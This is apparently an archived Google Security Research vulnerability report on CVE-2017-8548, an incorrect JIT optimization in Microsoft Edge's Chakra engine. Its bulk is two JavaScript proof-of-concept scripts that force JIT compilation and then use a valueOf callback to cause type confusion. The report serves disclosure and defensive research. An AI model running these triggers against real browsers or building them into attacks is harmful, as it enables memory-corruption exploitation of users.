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Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge Chakra Incorrect Jit Optimization
Posted Aug 16, 2017
Authored by Google Security Research, lokihardt

This is a follow-up finding that the fix for an incorrect jit optimization with TypedArray setter in Microsoft Edge Chakra may not be sufficient.

tags | exploit
advisories | CVE-2017-8548
MD5 | afbcee955491660e874dbdcf65f457b4

Microsoft Edge Chakra Incorrect Jit Optimization

Change Mirror Download
Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2

CVE-2017-8548


I think the fix for #1045 is incorrect.

Here's the original PoC.

'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
var a = [1.1, 2.2];
var b = new Uint32Array(100);

// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();


I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.

PoC:
'use strict';

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
var a = [1.1, 2.2];
var b = new Uint32Array(0); // <<--------- 100 -> 0

// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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